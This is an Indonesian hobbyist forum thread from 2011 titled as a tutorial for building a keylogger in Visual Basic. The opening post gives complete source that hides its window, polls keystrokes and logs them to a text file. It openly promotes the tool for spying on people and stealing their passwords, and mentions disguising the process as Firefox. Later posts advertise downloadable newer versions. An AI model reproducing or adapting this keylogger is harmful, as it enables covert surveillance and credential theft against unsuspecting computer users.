Devans Community
Indonesia :
Saya Harap Anda Login Atau Register Ke Forum kami
Untuk Mengetahui Isi Dari Forum Ini Tersebut

English :
I Hope you Login Or Register To Our Forum
To Learn Content From Forum This Cover

Spanyol :
I Por favor Ingresa o Registrar a nuestro foro
Para aprender de este foro debe relleno

Yunani :
Έχω Παρακαλώ Σύνδεση ή Εγγραφή στο φόρουμ μας
Για να μάθετε από αυτό το φόρουμ πρέπει να συμπληρώσει

Regards,




O'im
my Facebook :
oim.devans@facebook.com
Atau
Facebook Forum :
Devans_community@yahoo.com

--------------------------------------------------------



Info : Jika anda Berkenan, Harap Membuat Topik atau Membalas Comment untuk Meramaikan Suasana.


Selamat Datang di Devans Community
 
IndeksRulez ForumFAQPendaftaranLogin
Selamat Datang Di Devans Community - Tempat Berbagi dan Tempat Belajar Sesuatu yang indah
Selamat Bergabung di Devans Community.
Belajar itu indah
Anda Sopan Kami Segan, Anda Baik kami juga baik.
< Sertakan Credit , untuk mengetahui Itu Hak Milik Siapa !
< Selamat Menunaikan ibadah Puasa.
Siapa yang online ??
Total 1 user online :: 0 Terdaftar, 0 Tersembunyi dan 1 Tamu

Tidak ada

User online terbanyak adalah 53 pada Wed Aug 14 2013, 13:18
Similar topics
Login
Username:
Password:
Login otomatis: 
:: Lupa password?
Devans Community Navigation
 Portal
 Index
 Memberlist
 Profile
 FAQ
 Search
 Rulez Devans Community
Top posters
marlboro
 
sheen
 
sherge
 
DeVans
 
™†Devans†HUGO™
 
aburame
 
zha niedlich
 
utty_Sinaga
 
Fiqih
 
TukangCabul
 
Topic Terakhir ini
» Counter Strike: Condition Zero AMX Mod X and Death Match
Mon Apr 13 2015, 19:58 by dikaluis12

» Download Project Blackout Full Client (PB offline )
Sun Dec 07 2014, 07:49 by irfanagres

» RF TITANIUM 2.2.3.2 PVP SERVER
Mon Jun 23 2014, 00:46 by dhenisalfa

» RF OFFLINE Giga 4 Episode 1
Thu Jun 12 2014, 11:19 by kamaljaya

» RF While Neverdie To Pvp 2.2.3.2
Tue May 20 2014, 18:26 by dhenisalfa

» [Tips] Cara Biar Cewe Ketagihan Sex
Mon Apr 21 2014, 18:12 by *-D4k0c4n-*

» NEW RELEASE RF-PRISON 2.2.3.2 FULL PVP SERVER "Show Your Strength In Prison"
Thu Apr 17 2014, 16:39 by dhenisalfa

» Membuat Deatchmatch Map
Sun Apr 06 2014, 16:47 by *-D4k0c4n-*

» RF Gipsy 2.2.3.2 Full PvP Server
Thu Apr 03 2014, 16:04 by reyhan

Info Pendaftaran Devans
Total 3161 user terdaftar
User terdaftar terakhir adalah wildanfrst

Total 1897 kiriman artikel dari user in 730 subjects
December 2016
MonTueWedThuFriSatSun
   1234
567891011
12131415161718
19202122232425
262728293031 
CalendarCalendar
Pencarian
 
 

Display results as :
 
Rechercher Advanced Search

Share | 
 

 Tutorial Bikin Keyloger Pake Vb

Topik sebelumnya Topik selanjutnya Go down 
PengirimMessage
™†Devans†HUGO™
Devans Staff
Devans Staff


Posting : 106
Gold Medal : 162
Bergabung Sejak : 11.07.10
Location : Depan Komputer

Game Voting
Diecing Rollings:
1/1  (1/1)

PostSubyek: Tutorial Bikin Keyloger Pake Vb   Sat Feb 26 2011, 14:38

Keylogger

dari namanya udah jelas ..

aplikasi ini digunakan buat mencatat semua

aktifitas yang berhungan dengan keyboard

jadi semua ketikan kita akan tersimpan

kedalam file mylog.txt ...

mantab kan ...

bisa buat memata-matai kegiatan orang yang kita jurigai..

seperti menjebol password orang

untuk menjalankannya..

coba jalankan file keylogger.exe

trus coba kamu ketikan sesuatu ....

jreng jreng jreng ...

sekarang kamu buka file mylog.txt

di tempat project vb berada..

semua ktikan kamu akan tercatat di file tersebut..

sekarang gimana cara buatnya :

1. Buatlah form , trus tambahkan 1 timer ( jangan lupa ubah intervalnya jadi 1 )

2. Ketikan Listing dibawah ini


klo mau langsung gini aja:


Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer'CODED BY HUGO
Private Type TList'CODED BY HUGO
kode As Integer'CODED BY HUGO
bawah As String'CODED BY HUGO
atas As String'CODED BY HUGO
End Type'CODED BY HUGO
Private List(1 To 255) As TList'CODED BY HUGO
Private IndexList As Integer'CODED BY HUGO
Private Sub AddToTable(kode As Integer, atas As String, bawah As String)'CODED BY HUGO
IndexList = IndexList + 1'CODED BY HUGO
List(IndexList).kode = kode'CODED BY HUGO
List(IndexList).atas = atas'CODED BY HUGO
List(IndexList).bawah = bawah'CODED BY HUGO
End Sub'CODED BY HUGO

Private Sub Build_Table()'CODED BY HUGO
Dim i As Integer'CODED BY HUGO
For i = 65 To 90'CODED BY HUGO
AddToTable i, Chr(i), Chr(i + 32)'CODED BY HUGO
Next i'CODED BY HUGO
AddToTable 48, ")", "0"'CODED BY HUGO
AddToTable 49, "!", "1"'CODED BY HUGO
AddToTable 50, "@", "2"'CODED BY HUGO
AddToTable 51, "#", "3"'CODED BY HUGO
AddToTable 52, "$", "4"'CODED BY HUGO
AddToTable 53, "%", "5"'CODED BY HUGO
AddToTable 54, "^", "6"'CODED BY HUGO
AddToTable 55, "&", "7"'CODED BY HUGO
AddToTable 56, "*", "8"'CODED BY HUGO
AddToTable 57, "(", "9"'CODED BY HUGO
AddToTable &H60, "", "0"'CODED BY HUGO
AddToTable &H61, "", "1"'CODED BY HUGO
AddToTable &H62, "", "2"'CODED BY HUGO
AddToTable &H63, "", "3"'CODED BY HUGO
AddToTable &H64, "", "4"'CODED BY HUGO
AddToTable &H65, "", "5"'CODED BY HUGO
AddToTable &H66, "", "6"'CODED BY HUGO
AddToTable &H67, "", "7"'CODED BY HUGO
AddToTable &H68, "", "8"'CODED BY HUGO
AddToTable &H69, "", "9"'CODED BY HUGO
AddToTable Asc(" "), " ", " "'CODED BY HUGO
End Sub'CODED BY HUGO

Private Sub Form_Load()'CODED BY HUGO
Me.Visible = False'CODED BY HUGO
Build_Table'CODED BY HUGO
End Sub'CODED BY HUGO

Private Sub AddToFile(Isi As String)'CODED BY HUGO
Dim Data As String'CODED BY HUGO
Dim FileHandler As Long'CODED BY HUGO

If (Dir(App.Path & "\mylog.txt") <> "") Then'CODED BY HUGO
FileHandler = FreeFile'CODED BY HUGO
Open App.Path & "\mylog.txt" For Input As #FileHandler'CODED BY HUGO
Data = Input(LOF(FileHandler) - 2, #FileHandler)'CODED BY HUGO
Close #FileHandler'CODED BY HUGO
End If'CODED BY HUGO

FileHandler = FreeFile'CODED BY HUGO
Open App.Path & "\mylog.txt" For Output As #FileHandler'CODED BY HUGO
Print #FileHandler, Data & Isi'CODED BY HUGO
Close #FileHandler'CODED BY HUGO
End Sub'CODED BY HUGO


Private Sub Timer1_Timer()'CODED BY HUGO
Dim i As Integer'CODED BY HUGO
Dim a, b As Integer'CODED BY HUGO
For i = LBound(List) To UBound(List)'CODED BY HUGO
a = GetAsyncKeyState(List(i).kode)'CODED BY HUGO
b = GetAsyncKeyState(16)'CODED BY HUGO
If (a = -32767) Then'CODED BY HUGO
If (b = -32768) Then'CODED BY HUGO
AddToFile List(i).atas'CODED BY HUGO
Else'CODED BY HUGO
AddToFile List(i).bawah'CODED BY HUGO
End If'CODED BY HUGO
Exit For'CODED BY HUGO
End If'CODED BY HUGO
Next'CODED BY HUGO
End Sub'CODED BY HUGO

Keterangan yang warna MERAH silahkan di edit:
○ yang mylog.txt bisa di ubah tapi harus sama ya.... jangan lupa juga belakangnya formatnya ####.txt
○ yang False itu kamu bisa pilih mau False atau True,
klo False tidak nampak programnya di Windows,
klo true nampak programnya di Windows.

-----------------------------------------------------------------------------------------------------------------------
mau hasil jadinya:

nih gan... keylogger buatan gue.
Download di Sini

Proccess Name: Mozilla Freefox.exe <<< Fake Proccess Name!!!

Cara ilangin/terminate Keyloggernya:
○ di pojok bawah kanan ada X tekan aja tuh
○ pakai Task Manager.
- cari nama proses yg di atas
- kalau ketemu klik kanan > Terminate Procces.


Virus Total di Net gue lagi error!!
Kembali Ke Atas Go down
http://skynet.forumid.net
DeVans
Level 3
Level 3


Posting : 129
Gold Medal : 1004
Bergabung Sejak : 25.10.10
Location : gak Penting

PostSubyek: Re: Tutorial Bikin Keyloger Pake Vb   Sat Feb 26 2011, 15:10

[You must be registered and logged in to see this link.]

disitu juga ada hasil buatannya punya bang aburame.
Kembali Ke Atas Go down
™†Devans†HUGO™
Devans Staff
Devans Staff


Posting : 106
Gold Medal : 162
Bergabung Sejak : 11.07.10
Location : Depan Komputer

Game Voting
Diecing Rollings:
1/1  (1/1)

PostSubyek: Re: Tutorial Bikin Keyloger Pake Vb   Sat Feb 26 2011, 15:20

gue lupa credit siapa???? tapi ada codenya ada yg ku edit
Kembali Ke Atas Go down
http://skynet.forumid.net
™†Devans†HUGO™
Devans Staff
Devans Staff


Posting : 106
Gold Medal : 162
Bergabung Sejak : 11.07.10
Location : Depan Komputer

Game Voting
Diecing Rollings:
1/1  (1/1)

PostSubyek: Re: Tutorial Bikin Keyloger Pake Vb   Mon Feb 28 2011, 19:23

Simple Keylogger v2 - By HUGO akan di terbitkan di sini...
dan ada fitur fitur terbaru!!!
tunggu saja Ya.... ^_^

ada 1 blog yang satu orangpun belum tau kecuali aku yang ada saya terbitkan....
^^^
Blog gue (bukan yg [You must be registered and logged in to see this link.] ada yang satunya lagi.....)
tapi pas saya terbitkan nggak boleh cantumin blog yg bersifat tersembunyi tsb. (bukan yg [You must be registered and logged in to see this link.] )

sorry o'im gue Double Posting ^_^
Kembali Ke Atas Go down
http://skynet.forumid.net
marlboro
Devans Admin
Devans Admin


Posting : 571
Gold Medal : 1706
Bergabung Sejak : 09.07.10
Location : Bandar Lampung

Game Voting
Diecing Rollings:
1/1  (1/1)

PostSubyek: Re: Tutorial Bikin Keyloger Pake Vb   Sun Mar 13 2011, 23:11

ane tunggu.

_______________________________Signature ______________________________
Jangan Cuman Lihat.
Tapi juga di comment

Welcome Devans.coolbb.net
[You must be registered and logged in to see this image.] [You must be registered and logged in to see this image.] [You must be registered and logged in to see this image.]

Devans Community
Kembali Ke Atas Go down
http://devans.coolbb.net
marlboro
Devans Admin
Devans Admin


Posting : 571
Gold Medal : 1706
Bergabung Sejak : 09.07.10
Location : Bandar Lampung

Game Voting
Diecing Rollings:
1/1  (1/1)

PostSubyek: Re: Tutorial Bikin Keyloger Pake Vb   Sun Mar 13 2011, 23:12

gpp gan..
ane juga double posting kog ..
hehe Very Happy

_______________________________Signature ______________________________
Jangan Cuman Lihat.
Tapi juga di comment

Welcome Devans.coolbb.net
[You must be registered and logged in to see this image.] [You must be registered and logged in to see this image.] [You must be registered and logged in to see this image.]

Devans Community
Kembali Ke Atas Go down
http://devans.coolbb.net
™†Devans†HUGO™
Devans Staff
Devans Staff


Posting : 106
Gold Medal : 162
Bergabung Sejak : 11.07.10
Location : Depan Komputer

Game Voting
Diecing Rollings:
1/1  (1/1)

PostSubyek: Re: Tutorial Bikin Keyloger Pake Vb   Mon Nov 21 2011, 13:55

Simple Keylogger v2 - By HUGO
-> [You must be registered and logged in to see this link.]

Simple Keylogger v3 - By HUGO
-> [You must be registered and logged in to see this link.]

Simple Keylogger v4 - By HUGO
-> [You must be registered and logged in to see this link.]

Simple Keylogger v5 - By HUGO
-> [You must be registered and logged in to see this link.]

Fitur v5 : menambahkan string [TAB] dan [BACKSPACE]

Viros Total di Blockir, jadi gw gk tau cara ngatasinnya.
tolong di bantu ya scannya ^_^
Kembali Ke Atas Go down
http://skynet.forumid.net
marlboro
Devans Admin
Devans Admin


Posting : 571
Gold Medal : 1706
Bergabung Sejak : 09.07.10
Location : Bandar Lampung

Game Voting
Diecing Rollings:
1/1  (1/1)

PostSubyek: Re: Tutorial Bikin Keyloger Pake Vb   Mon Nov 21 2011, 16:00

jiaaaaaah Very Happy
hugo mulai Online in Forum ane :d
kakkakak Very Happy

banned aah Very Happy

_______________________________Signature ______________________________
Jangan Cuman Lihat.
Tapi juga di comment

Welcome Devans.coolbb.net
[You must be registered and logged in to see this image.] [You must be registered and logged in to see this image.] [You must be registered and logged in to see this image.]

Devans Community
Kembali Ke Atas Go down
http://devans.coolbb.net
Sponsored content




PostSubyek: Re: Tutorial Bikin Keyloger Pake Vb   Today at 04:46

Kembali Ke Atas Go down
 
Tutorial Bikin Keyloger Pake Vb
Topik sebelumnya Topik selanjutnya Kembali Ke Atas 
Halaman 1 dari 1
 Similar topics
-
» Tutorial Gear Design ?
» tempat bikin stang jepit custom
» Ganti jadi pake setang model fat bar?
» (WTA) Double Disk Brake Depan Ninja pake velg standar, bisa ga?
» Tutorial Design Menggunakan Photoshop

Permissions in this forum:Anda tidak dapat menjawab topik
Devans Community :: Learn, Develops, Internet Help , And Discussion Center :: Source Code-
Navigasi: